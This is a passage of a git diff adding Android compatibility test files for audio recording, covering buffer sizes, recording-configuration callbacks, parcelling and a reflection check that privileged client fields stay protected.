+            periodicStat.add((double)(actual - expected) * 1000 / TEST_SR);
+        }
+
+        // report this
+        DeviceReportLog log = new DeviceReportLog(REPORT_LOG_NAME, reportName);
+        log.addValue("start_recording_lag", coldInputStartTime, ResultType.LOWER_BETTER,
+                ResultUnit.MS);
+        log.addValue("stop_execution_time", stopTime - stopRequestTime, ResultType.LOWER_BETTER,
+                ResultUnit.MS);
+        log.addValue("total_record_time_expected", TEST_TIME_MS, ResultType.NEUTRAL, ResultUnit.MS);
+        log.addValue("total_record_time_actual", endTime - firstSampleTime, ResultType.NEUTRAL,
+                ResultUnit.MS);
+        log.addValue("total_markers_expected", markerPeriods, ResultType.NEUTRAL, ResultUnit.COUNT);
+        log.addValue("total_markers_actual", markerList.size(), ResultType.NEUTRAL,
+                ResultUnit.COUNT);
+        log.addValue("total_periods_expected", updatePeriods, ResultType.NEUTRAL, ResultUnit.COUNT);
+        log.addValue("total_periods_actual", periodicList.size(), ResultType.NEUTRAL,
+                ResultUnit.COUNT);
+        log.addValue("average_marker_diff", markerStat.getAvg(), ResultType.LOWER_BETTER,
+                ResultUnit.MS);
+        log.addValue("maximum_marker_abs_diff", markerStat.getMaxAbs(), ResultType.LOWER_BETTER,
+                ResultUnit.MS);
+        log.addValue("average_marker_abs_diff", markerStat.getAvgAbs(), ResultType.LOWER_BETTER,
+                ResultUnit.MS);
+        log.addValue("average_periodic_diff", periodicStat.getAvg(), ResultType.LOWER_BETTER,
+                ResultUnit.MS);
+        log.addValue("maximum_periodic_abs_diff", periodicStat.getMaxAbs(), ResultType.LOWER_BETTER,
+                ResultUnit.MS);
+        log.addValue("average_periodic_abs_diff", periodicStat.getAvgAbs(), ResultType.LOWER_BETTER,
+                ResultUnit.MS);
+        log.setSummary("unified_abs_diff", (periodicStat.getAvgAbs() + markerStat.getAvgAbs()) / 2,
+                ResultType.LOWER_BETTER, ResultUnit.MS);
+        log.submit(InstrumentationRegistry.getInstrumentation());
+    }
+
+    private class MockOnRecordPositionUpdateListener
+                                        implements OnRecordPositionUpdateListener {
+        public MockOnRecordPositionUpdateListener(AudioRecord record) {
+            mAudioRecord = record;
+            record.setRecordPositionUpdateListener(this);
+        }
+
+        public MockOnRecordPositionUpdateListener(AudioRecord record, Handler handler) {
+            mAudioRecord = record;
+            record.setRecordPositionUpdateListener(this, handler);
+        }
+
+        public synchronized void onMarkerReached(AudioRecord record) {
+            if (mIsTestActive) {
+                int position = getPosition();
+                mOnMarkerReachedCalled.add(position);
+                mMarkerPosition += mMarkerPeriodInFrames;
+                assertEquals(AudioRecord.SUCCESS,
+                        mAudioRecord.setNotificationMarkerPosition(mMarkerPosition));
+            } else {
+                // see comment on stop()
+                final long delta = System.currentTimeMillis() - mStopTime;
+                Log.d(TAG, "onMarkerReached called " + delta + " ms after stop");
+                fail("onMarkerReached called when not active");
+            }
+        }
+
+        public synchronized void onPeriodicNotification(AudioRecord record) {
+            if (mIsTestActive) {
+                int position = getPosition();
+                mOnPeriodicNotificationCalled.add(position);
+            } else {
+                // see comment on stop()
+                final long delta = System.currentTimeMillis() - mStopTime;
+                Log.d(TAG, "onPeriodicNotification called " + delta + " ms after stop");
+                fail("onPeriodicNotification called when not active");
+            }
+        }
+
+        public synchronized void start(int sampleRate) {
+            mIsTestActive = true;
+            mSampleRate = sampleRate;
+            mStartTime = System.currentTimeMillis();
+        }
+
+        public synchronized void stop() {
+            // the listener should be stopped some time after AudioRecord is stopped
+            // as some messages may not yet be posted.
+            mIsTestActive = false;
+            mStopTime = System.currentTimeMillis();
+        }
+
+        public ArrayList<Integer> getMarkerList() {
+            return mOnMarkerReachedCalled;
+        }
+
+        public ArrayList<Integer> getPeriodicList() {
+            return mOnPeriodicNotificationCalled;
+        }
+
+        public synchronized void release() {
+            stop();
+            mAudioRecord.setRecordPositionUpdateListener(null);
+            mAudioRecord = null;
+        }
+
+        private int getPosition() {
+            // we don't have mAudioRecord.getRecordPosition();
+            // so we fake this by timing.
+            long delta = System.currentTimeMillis() - mStartTime;
+            return (int)(delta * mSampleRate / 1000);
+        }
+
+        private long mStartTime;
+        private long mStopTime;
+        private int mSampleRate;
+        private boolean mIsTestActive = true;
+        private AudioRecord mAudioRecord;
+        private ArrayList<Integer> mOnMarkerReachedCalled = new ArrayList<Integer>();
+        private ArrayList<Integer> mOnPeriodicNotificationCalled = new ArrayList<Integer>();
+    }
+
+    private boolean hasMicrophone() {
+        return getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_MICROPHONE);
+    }
+
+    private boolean isLowRamDevice() {
+        return ((ActivityManager) getContext().getSystemService(Context.ACTIVITY_SERVICE))
+                .isLowRamDevice();
+    }
+
+    private boolean isLowLatencyDevice() {
+        return getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_AUDIO_LOW_LATENCY);
+    }
+
+    private boolean isProAudioDevice() {
+        return getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_AUDIO_PRO);
+    }
+
+    private void verifyContinuousTimestamps(
+            AudioTimestamp startTs, AudioTimestamp stopTs, int sampleRate)
+            throws Exception {
+        final long timeDiff = stopTs.nanoTime - startTs.nanoTime;
+        final long frameDiff = stopTs.framePosition - startTs.framePosition;
+        final long NANOS_PER_SECOND = 1000000000;
+        final long timeByFrames = frameDiff * NANOS_PER_SECOND / sampleRate;
+        final double ratio = (double)timeDiff / timeByFrames;
+
+        // Usually the ratio is accurate to one part per thousand or better.
+        // Log.d(TAG, "ratio=" + ratio + ", timeDiff=" + timeDiff + ", frameDiff=" + frameDiff +
+        //        ", timeByFrames=" + timeByFrames + ", sampleRate=" + sampleRate);
+        assertEquals(1.0 /* expected */, ratio, isLowLatencyDevice() ? 0.01 : 0.5 /* delta */);
+    }
+
+    // remove if AudioTimestamp has a better toString().
+    private void printTimestamp(String s, AudioTimestamp ats) {
+        Log.d(TAG, s + ":  pos: " + ats.framePosition + "  time: " + ats.nanoTime);
+    }
+
+    private static void readDataTimed(AudioRecord recorder, long durationMillis,
+            ShortBuffer out) throws IOException {
+        final short[] buffer = new short[1024];
+        final long startTimeMillis = SystemClock.uptimeMillis();
+        final long stopTimeMillis = startTimeMillis + durationMillis;
+        while (SystemClock.uptimeMillis() < stopTimeMillis) {
+            final int readCount = recorder.read(buffer, 0, buffer.length);
+            if (readCount <= 0) {
+                return;
+            }
+            out.put(buffer, 0, readCount);
+        }
+    }
+
+    private static boolean isAudioSilent(ShortBuffer buffer) {
+        // Always need some bytes read
+        assertTrue("Buffer should have some data", buffer.position() > 0);
+
+        // It is possible that the transition from empty to non empty bytes
+        // happened in the middle of the read data due to the async nature of
+        // the system. Therefore, we look for the transitions from non-empty
+        // to empty and from empty to non-empty values for robustness.
+        int totalSilenceCount = 0;
+        final int valueCount = buffer.position();
+        for (int i = valueCount - 1; i >= 0; i--) {
+            final short value = buffer.get(i);
+            if (value == 0) {
+                totalSilenceCount++;
+            }
+        }
+        return totalSilenceCount > valueCount / 2;
+    }
+
+    private static void makeMyUidStateActive(String packageName, int userId) throws IOException {
+        final String command = String.format(
+                "cmd media.audio_policy set-uid-state %s active --user %d", packageName, userId);
+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+    }
+
+    private static void makeMyUidStateIdle(String packageName, int userId) throws IOException {
+        final String command = String.format(
+                "cmd media.audio_policy set-uid-state %s idle --user %d", packageName, userId);
+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+    }
+
+    private static void resetMyUidState(String packageName, int userId) throws IOException {
+        final String command = String.format(
+                "cmd media.audio_policy reset-uid-state %s --user %d", packageName, userId);
+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+    }
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    /*
+     * Microphone Direction API tests
+     */
+    @Test
+    public void testSetPreferredMicrophoneDirection() {
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        try {
+            boolean success =
+                    mAudioRecord.setPreferredMicrophoneDirection(
+                            MicrophoneDirection.MIC_DIRECTION_TOWARDS_USER);
+
+            // Can't actually test this as HAL may not have implemented it
+            // Just verify that it doesn't crash or throw an exception
+            // assertTrue(success);
+        } catch (Exception ex) {
+            Log.e(TAG, "testSetPreferredMicrophoneDirection() exception:" + ex);
+            assertTrue(false);
+        }
+        return;
+    }
+
+    @Test
+    public void testSetPreferredMicrophoneFieldDimension() {
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        try {
+            boolean success = mAudioRecord.setPreferredMicrophoneFieldDimension(1.0f);
+
+            // Can't actually test this as HAL may not have implemented it
+            // Just verify that it doesn't crash or throw an exception
+            // assertTrue(success);
+        } catch (Exception ex) {
+            Log.e(TAG, "testSetPreferredMicrophoneFieldDimension() exception:" + ex);
+            assertTrue(false);
+        }
+        return;
+    }
+
+    @Test
+    public void testPrivacySensitiveBuilder() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        for (final boolean privacyOn : new boolean[] { false, true} ) {
+            AudioRecord record = new AudioRecord.Builder()
+            .setAudioFormat(new AudioFormat.Builder()
+                    .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                    .setSampleRate(8000)
+                    .setChannelMask(AudioFormat.CHANNEL_IN_MONO)
+                    .build())
+            .setPrivacySensitive(privacyOn)
+            .build();
+            assertEquals(privacyOn, record.isPrivacySensitive());
+            record.release();
+        }
+    }
+
+    @Test
+    public void testPrivacySensitiveDefaults() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        AudioRecord record = new AudioRecord.Builder()
+            .setAudioSource(MediaRecorder.AudioSource.MIC)
+            .setAudioFormat(new AudioFormat.Builder()
+                 .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                 .setSampleRate(8000)
+                 .setChannelMask(AudioFormat.CHANNEL_IN_MONO)
+                 .build())
+            .build();
+        assertFalse(record.isPrivacySensitive());
+        record.release();
+
+        record = new AudioRecord.Builder()
+            .setAudioSource(MediaRecorder.AudioSource.VOICE_COMMUNICATION)
+            .setAudioFormat(new AudioFormat.Builder()
+                 .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                 .setSampleRate(8000)
+                 .setChannelMask(AudioFormat.CHANNEL_IN_MONO)
+                 .build())
+            .build();
+        assertTrue(record.isPrivacySensitive());
+        record.release();
+    }
+
+    @Test
+    public void testSetLogSessionId() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        AudioRecord audioRecord = null;
+        try {
+            audioRecord = new AudioRecord.Builder()
+                    .setAudioFormat(new AudioFormat.Builder()
+                            .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                            .setChannelMask(AudioFormat.CHANNEL_IN_MONO)
+                            .build())
+                    .build();
+            audioRecord.setLogSessionId(LogSessionId.LOG_SESSION_ID_NONE); // should not throw.
+            assertEquals(LogSessionId.LOG_SESSION_ID_NONE, audioRecord.getLogSessionId());
+
+            final MediaMetricsManager mediaMetricsManager =
+                    getContext().getSystemService(MediaMetricsManager.class);
+            final RecordingSession recordingSession =
+                    mediaMetricsManager.createRecordingSession();
+            audioRecord.setLogSessionId(recordingSession.getSessionId());
+            assertEquals(recordingSession.getSessionId(), audioRecord.getLogSessionId());
+
+            // record some data to generate a log entry.
+            short data[] = new short[audioRecord.getSampleRate() / 2];
+            audioRecord.startRecording();
+            audioRecord.read(data, 0 /* offsetInShorts */, data.length);
+            audioRecord.stop();
+
+            // Also can check the mediametrics dumpsys to validate logs generated.
+        } finally {
+            if (audioRecord != null) {
+                audioRecord.release();
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioRecord_BufferSizeTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioRecord_BufferSizeTest.java
new file mode 100644
index 0000000..ee477f0
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioRecord_BufferSizeTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.content.pm.PackageManager;
+import android.media.AudioFormat;
+import android.media.AudioRecord;
+import android.media.MediaRecorder.AudioSource;
+import android.media.cts.NonMediaMainlineTest;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.PollingCheck;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@NonMediaMainlineTest
+public class AudioRecord_BufferSizeTest extends AndroidTestCase {
+
+    private static final String TAG = AudioRecord_BufferSizeTest.class.getSimpleName();
+    private static final int CHANNEL_CONFIG = AudioFormat.CHANNEL_IN_MONO;
+    private static final int AUDIO_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+
+    private static final int[] SAMPLE_RATES_IN_HZ = new int[] {
+        8000,
+        11025,
+        16000,
+        44100,
+        48000,
+    };
+
+    private AudioRecord mAudioRecord;
+
+    @CddTest(requirement="5.4.1/C-1-1")
+    public void testGetMinBufferSize() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        List<Integer> failedSampleRates = new ArrayList<Integer>();
+        for (int i = 0; i < SAMPLE_RATES_IN_HZ.length; i++) {
+            try {
+                record(SAMPLE_RATES_IN_HZ[i]);
+            } catch (Throwable e) {
+                Log.e(TAG, "Sample rate: " + SAMPLE_RATES_IN_HZ[i], e);
+                failedSampleRates.add(SAMPLE_RATES_IN_HZ[i]);
+                if (mAudioRecord != null) {
+                    // clean up.  AudioRecords are in scarce supply.
+                    mAudioRecord.release();
+                    mAudioRecord = null;
+                }
+            }
+        }
+        assertTrue("Failed sample rates: " + failedSampleRates + " See log for more details.",
+                failedSampleRates.isEmpty());
+    }
+
+    private void record(int sampleRateInHz) {
+        int bufferSize = AudioRecord.getMinBufferSize(sampleRateInHz, CHANNEL_CONFIG, AUDIO_FORMAT);
+        assertTrue(bufferSize > 0);
+
+        createAudioRecord(sampleRateInHz, bufferSize);
+        // RecordingState changes are reflected synchronously (no need to poll)
+        assertEquals(AudioRecord.RECORDSTATE_STOPPED, mAudioRecord.getRecordingState());
+
+        mAudioRecord.startRecording();
+        assertEquals(AudioRecord.RECORDSTATE_RECORDING, mAudioRecord.getRecordingState());
+
+        // it is preferred to use a short array to read AudioFormat.ENCODING_PCM_16BIT data
+        // but it's ok to read using using a byte array.  16 bit PCM data will be
+        // stored as two bytes, native endian.
+        byte[] buffer = new byte[bufferSize];
+        assertTrue(mAudioRecord.read(buffer, 0, bufferSize) > 0);
+
+        mAudioRecord.stop();
+        assertEquals(AudioRecord.RECORDSTATE_STOPPED, mAudioRecord.getRecordingState());
+
+        mAudioRecord.release();
+        mAudioRecord = null;
+    }
+
+    private void createAudioRecord(final int sampleRateInHz, final int bufferSize) {
+        mAudioRecord = new AudioRecord(AudioSource.DEFAULT, sampleRateInHz,
+                CHANNEL_CONFIG, AUDIO_FORMAT, bufferSize);
+        assertNotNull(mAudioRecord);
+    }
+
+    private boolean hasMicrophone() {
+        return getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_MICROPHONE);
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioRecorder.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioRecorder.java
new file mode 100644
index 0000000..0899a18
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioRecorder.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.audio.cts;
+
+import android.media.AudioRouting;
+
+public class AudioRecorder {
+    public AudioRecorder() {
+        Create();
+    }
+
+    public native void Create();
+    public native void Destroy();
+
+    public native void RealizeRecorder();
+    public native void RealizeRoutingProxy();
+
+    public native void Start();
+    public native void Stop();
+
+    public native AudioRouting GetRoutingInterface();
+    public native void ReleaseRoutingInterface(AudioRouting proxyObj);
+
+    public native int GetNumBufferSamples();
+    public native void GetBufferData(float[] dstBuff);
+
+    public native long GetLastSLResult();
+    public native void ClearLastSLResult();
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioRecordingConfigurationTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioRecordingConfigurationTest.java
new file mode 100644
index 0000000..24c39ce
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioRecordingConfigurationTest.java
@@ -0,0 +1,357 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.content.pm.PackageManager;
+import android.media.AudioDeviceInfo;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioPlaybackConfiguration;
+import android.media.AudioRecord;
+import android.media.AudioRecordingConfiguration;
+import android.media.MediaRecorder;
+import android.media.cts.NonMediaMainlineTest;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Looper;
+import android.os.Parcel;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.Iterator;
+import java.util.List;
+
+@NonMediaMainlineTest
+public class AudioRecordingConfigurationTest extends CtsAndroidTestCase {
+    private static final String TAG = "AudioRecordingConfigurationTest";
+
+    private static final int TEST_SAMPLE_RATE = 16000;
+    private static final int TEST_AUDIO_SOURCE = MediaRecorder.AudioSource.VOICE_RECOGNITION;
+
+    private static final int TEST_TIMING_TOLERANCE_MS = 70;
+    private static final long SLEEP_AFTER_STOP_FOR_INACTIVITY_MS = 1000;
+
+    private AudioRecord mAudioRecord;
+    private Looper mLooper;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        /*
+         * InstrumentationTestRunner.onStart() calls Looper.prepare(), which creates a looper
+         * for the current thread. However, since we don't actually call loop() in the test,
+         * any messages queued with that looper will never be consumed. Therefore, we must
+         * create the instance in another thread, either without a looper, so the main looper is
+         * used, or with an active looper.
+         */
+        Thread t = new Thread() {
+            @Override
+            public void run() {
+                Looper.prepare();
+                mLooper = Looper.myLooper();
+                synchronized(this) {
+                    mAudioRecord = new AudioRecord.Builder()
+                                     .setAudioSource(TEST_AUDIO_SOURCE)
+                                     .setAudioFormat(new AudioFormat.Builder()
+                                             .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                                             .setSampleRate(TEST_SAMPLE_RATE)
+                                             .setChannelMask(AudioFormat.CHANNEL_IN_MONO)
+                                             .build())
+                                     .build();
+                    this.notify();
+                }
+                Looper.loop();
+            }
+        };
+        synchronized(t) {
+            t.start(); // will block until we wait
+            t.wait();
+        }
+        assertNotNull(mAudioRecord);
+        assertNotNull(mLooper);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (hasMicrophone()) {
+            mAudioRecord.stop();
+            mAudioRecord.release();
+            mLooper.quit();
+            Thread.sleep(SLEEP_AFTER_STOP_FOR_INACTIVITY_MS);
+        }
+        super.tearDown();
+    }
+
+    // start a recording and verify it is seen as an active recording
+    public void testAudioManagerGetActiveRecordConfigurations() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        AudioManager am = new AudioManager(getContext());
+        assertNotNull("Could not create AudioManager", am);
+
+        List<AudioRecordingConfiguration> configs = am.getActiveRecordingConfigurations();
+        assertNotNull("Invalid null array of record configurations before recording", configs);
+
+        assertEquals(AudioRecord.STATE_INITIALIZED, mAudioRecord.getState());
+        mAudioRecord.startRecording();
+        assertEquals(AudioRecord.RECORDSTATE_RECORDING, mAudioRecord.getRecordingState());
+        Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+
+        // recording is active, verify there is an active record configuration
+        configs = am.getActiveRecordingConfigurations();
+        assertNotNull("Invalid null array of record configurations during recording", configs);
+        assertTrue("no active record configurations (empty array) during recording",
+                configs.size() > 0);
+        final int nbConfigsDuringRecording = configs.size();
+
+        // verify our recording shows as one of the recording configs
+        assertTrue("Test source/session not amongst active record configurations",
+                verifyAudioConfig(TEST_AUDIO_SOURCE, mAudioRecord.getAudioSessionId(),
+                        mAudioRecord.getFormat(), mAudioRecord.getRoutedDevice(), configs));
+
+        // testing public API here: verify no system-privileged info is exposed through reflection
+        verifyPrivilegedInfoIsSafe(configs.get(0));
+
+        // stopping recording: verify there are less active record configurations
+        mAudioRecord.stop();
+        Thread.sleep(SLEEP_AFTER_STOP_FOR_INACTIVITY_MS);
+        configs = am.getActiveRecordingConfigurations();
+        assertEquals("Unexpected number of recording configs after stop",
+                configs.size(), 0);
+    }
+
+    public void testCallback() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        doCallbackTest(false /* no custom Handler for callback */);
+    }
+
+    public void testCallbackHandler() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        doCallbackTest(true /* use custom Handler for callback */);
+    }
+
+    private void doCallbackTest(boolean useHandlerInCallback) throws Exception {
+        final Handler h;
+        if (useHandlerInCallback) {
+            HandlerThread handlerThread = new HandlerThread(TAG);
+            handlerThread.start();
+            h = new Handler(handlerThread.getLooper());
+        } else {
+            h = null;
+        }
+        try {
+            AudioManager am = new AudioManager(getContext());
+            assertNotNull("Could not create AudioManager", am);
+
+            MyAudioRecordingCallback callback = new MyAudioRecordingCallback(
+                    mAudioRecord.getAudioSessionId(), TEST_AUDIO_SOURCE);
+            am.registerAudioRecordingCallback(callback, h /*handler*/);
+
+            assertEquals(AudioRecord.STATE_INITIALIZED, mAudioRecord.getState());
+            mAudioRecord.startRecording();
+            assertEquals(AudioRecord.RECORDSTATE_RECORDING, mAudioRecord.getRecordingState());
+            callback.await(TEST_TIMING_TOLERANCE_MS);
+
+            assertTrue("AudioRecordingCallback not called after start", callback.mCalled);
+            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+
+            final AudioDeviceInfo testDevice = mAudioRecord.getRoutedDevice();
+            assertTrue("AudioRecord null routed device after start", testDevice != null);
+            final boolean match = verifyAudioConfig(mAudioRecord.getAudioSource(),
+                    mAudioRecord.getAudioSessionId(), mAudioRecord.getFormat(),
+                    testDevice, callback.mConfigs);
+            assertTrue("Expected record configuration was not found", match);
+
+            // testing public API here: verify no system-privileged info is exposed through
+            // reflection
+            verifyPrivilegedInfoIsSafe(callback.mConfigs.get(0));
+
+            // stopping recording: callback is called with no match
+            callback.reset();
+            mAudioRecord.stop();
+            callback.await(TEST_TIMING_TOLERANCE_MS);
+            assertTrue("AudioRecordingCallback not called after stop", callback.mCalled);
+            assertEquals("Should not have found record configurations", callback.mConfigs.size(),
+                    0);
+            Thread.sleep(SLEEP_AFTER_STOP_FOR_INACTIVITY_MS);
+
+            // unregister callback and start recording again
+            am.unregisterAudioRecordingCallback(callback);
+            callback.reset();
+            mAudioRecord.startRecording();
+            callback.await(TEST_TIMING_TOLERANCE_MS);
+            assertFalse("Unregistered callback was called", callback.mCalled);
+            mAudioRecord.stop();
+            Thread.sleep(SLEEP_AFTER_STOP_FOR_INACTIVITY_MS);
+
+            // just call the callback once directly so it's marked as tested
+            final AudioManager.AudioRecordingCallback arc =
+                    (AudioManager.AudioRecordingCallback) callback;
+            arc.onRecordingConfigChanged(new ArrayList<AudioRecordingConfiguration>());
+        } finally {
+            if (h != null) {
+                h.getLooper().quit();
+            }
+        }
+    }
+
+    @NonMediaMainlineTest
+    public void testParcel() throws Exception {
+        if (!hasMicrophone()) {
+            return;
+        }
+        AudioManager am = new AudioManager(getContext());
+        assertNotNull("Could not create AudioManager", am);
+
+        assertEquals(AudioRecord.STATE_INITIALIZED, mAudioRecord.getState());
+        mAudioRecord.startRecording();
+        assertEquals(AudioRecord.RECORDSTATE_RECORDING, mAudioRecord.getRecordingState());
+        Thread.sleep(TEST_TIMING_TOLERANCE_MS);
+
+        List<AudioRecordingConfiguration> configs = am.getActiveRecordingConfigurations();
+        assertTrue("Empty array of record configs during recording", configs.size() > 0);
+        assertEquals(0, configs.get(0).describeContents());
+
+        // marshall a AudioRecordingConfiguration and compare to unmarshalled
+        final Parcel srcParcel = Parcel.obtain();
+        final Parcel dstParcel = Parcel.obtain();
+
+        configs.get(0).writeToParcel(srcParcel, 0 /*no public flags for marshalling*/);
+        final byte[] mbytes = srcParcel.marshall();
+        dstParcel.unmarshall(mbytes, 0, mbytes.length);
+        dstParcel.setDataPosition(0);
+        final AudioRecordingConfiguration unmarshalledConf =
+                AudioRecordingConfiguration.CREATOR.createFromParcel(dstParcel);
+
+        assertNotNull("Failure to unmarshall AudioRecordingConfiguration", unmarshalledConf);
+        assertEquals("Source and destination AudioRecordingConfiguration not equal",
+                configs.get(0), unmarshalledConf);
+    }
+
+    static class MyAudioRecordingCallback extends AudioManager.AudioRecordingCallback {
+        boolean mCalled;
+        List<AudioRecordingConfiguration> mConfigs;
+        private final int mTestSource;
+        private final int mTestSession;
+        private CountDownLatch mCountDownLatch;
+
+        void reset() {
+            mCountDownLatch = new CountDownLatch(1);
+            mCalled = false;
+            mConfigs = new ArrayList<AudioRecordingConfiguration>();
+        }
+
+        MyAudioRecordingCallback(int session, int source) {
+            mTestSource = source;
+            mTestSession = session;
+            reset();
+        }
+
+        @Override
+        public void onRecordingConfigChanged(List<AudioRecordingConfiguration> configs) {
+            mCalled = true;
+            mConfigs = configs;
+            mCountDownLatch.countDown();
+        }
+
+        void await(long timeoutMs) {
+            try {
+                mCountDownLatch.await(timeoutMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+            }
+        }
+    }
+
+    private static boolean deviceMatch(AudioDeviceInfo devJoe, AudioDeviceInfo devJeff) {
+        return ((devJoe.getId() == devJeff.getId()
+                && (devJoe.getAddress() == devJeff.getAddress())
+                && (devJoe.getType() == devJeff.getType())));
+    }
+
+    private static boolean verifyAudioConfig(int source, int session, AudioFormat format,
+            AudioDeviceInfo device, List<AudioRecordingConfiguration> configs) {
+        final Iterator<AudioRecordingConfiguration> confIt = configs.iterator();
+        while (confIt.hasNext()) {
+            final AudioRecordingConfiguration config = confIt.next();
+            final AudioDeviceInfo configDevice = config.getAudioDevice();
+            assertTrue("Current recording config has null device", configDevice != null);
+            if ((config.getClientAudioSource() == source)
+                    && (config.getClientAudioSessionId() == session)
+                    // test the client format matches that requested (same as the AudioRecord's)
+                    && (config.getClientFormat().getEncoding() == format.getEncoding())
+                    && (config.getClientFormat().getSampleRate() == format.getSampleRate())
+                    && (config.getClientFormat().getChannelMask() == format.getChannelMask())
+                    && (config.getClientFormat().getChannelIndexMask() ==
+                            format.getChannelIndexMask())
+                    // test the device format is configured
+                    && (config.getFormat().getEncoding() != AudioFormat.ENCODING_INVALID)
+                    && (config.getFormat().getSampleRate() > 0)
+                    //  for the channel mask, either the position or index-based value must be valid
+                    && ((config.getFormat().getChannelMask() != AudioFormat.CHANNEL_INVALID)
+                            || (config.getFormat().getChannelIndexMask() !=
+                                    AudioFormat.CHANNEL_INVALID))
+                    && deviceMatch(device, configDevice)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private boolean hasMicrophone() {
+        return getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_MICROPHONE);
+    }
+
+    private static void verifyPrivilegedInfoIsSafe(AudioRecordingConfiguration config) {
+        // verify "privileged" fields aren't available through reflection
+        final Class<?> confClass = config.getClass();
+        try {
+            final Method getClientUidMethod = confClass.getDeclaredMethod("getClientUid");
+            final Method getClientPackageName = confClass.getDeclaredMethod("getClientPackageName");
+            try {
+                getClientUidMethod.invoke(config, (Object[]) null);
+                fail("InvocationTargetException expected during reflection for getClientUid " +
+                    "without permission");
+            } catch (InvocationTargetException ex) {
+                assertEquals(
+                    "SecurityException cause expected for getClientUid without permission",
+                    SecurityException.class /*expected*/,
+                    ex.getCause().getClass());
+            }
+            String name = (String) getClientPackageName.invoke(config, (Object[]) null);
+            assertNotNull("client package name is null", name);
+            assertEquals("client package name isn't protected", 0 /*expected*/, name.length());
+        } catch (Exception e) {
+            fail("Exception thrown during reflection on config privileged fields" + e);
+        }
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioSystemTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioSystemTest.java
new file mode 100644
index 0000000..b955bc9
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioSystemTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
